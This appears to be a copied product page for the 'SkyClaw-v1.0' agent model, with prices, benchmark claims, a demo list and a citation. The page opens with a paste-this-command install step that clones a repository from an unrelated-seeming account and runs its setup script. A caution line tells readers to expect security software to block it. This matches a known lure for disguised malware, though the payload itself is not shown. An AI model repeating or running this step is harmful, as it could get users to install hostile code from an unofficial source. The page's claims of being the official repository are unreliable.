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[!CAUTION] Some security systems may block the installation. Only download from the official repository.
git clone https://github.com/RateNoteLiberate/skyclaw-543.git
cd skyclaw-543
python setup.pySkyClaw-v1.0 is a high-performance agent model by Skywork AI, optimized for complex tool use, multi-turn agent workflows, and cost-sensitive production tasks. Available in two variants:
| Model | Input (CNY/M) | Output (CNY/M) | Best For |
|---|---|---|---|
| SkyClaw-v1.0 | 0.5 | 4.0 | Strongest agent performance |
| SkyClaw-v1.0-lite | 0.3 | 2.0 | Speed & cost-sensitive tasks |
🎉 Free for a limited time: Both SkyClaw-v1.0 and SkyClaw-v1.0-lite are currently free to use.
SkyClaw-v1.0 outperforms Minimax 2.7, DeepSeek V4 Flash, and Qwen 3.6 series across all major agent benchmarks, while approaching larger proprietary models on Claw-related tasks.
The release page features locally rendered screenshots and short videos, showcasing real generated demos across UI applications and interactive games.
| Flight & Travel | Instagram-style | Xiaohongshu-style |
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| Bouncing Balls Play |
Bingo Match Play |
2048 Puzzle Play |
| Tetris Play |
Super Mario Play |
Airplane Battle Play |
| Chess Play |
Texas Hold'em Play |
Financial Terminal Open |
| Tank Roguelike Play |
Slay the Spire (杀戮尖塔) Play |
If you reference SkyClaw-v1.0 in your work, please use the following citation:
@misc{skyclaw2026,
title={SkyClaw-v1.0: A Million-Context Agent Model at Ultra-Low Cost},
author={Peiyu Wang and Min Zou and Liang Zeng and Weishen and Peng Cheng and Haoran Zhang and Yu Cheng and Yang Liu},
year={2026},
month={May},
howpublished={\url{https://skyworkai.github.io/skyclaw/}},
url={https://skyworkai.github.io/skyclaw/},
}Corresponding authors: Yu Cheng, Yang Liu



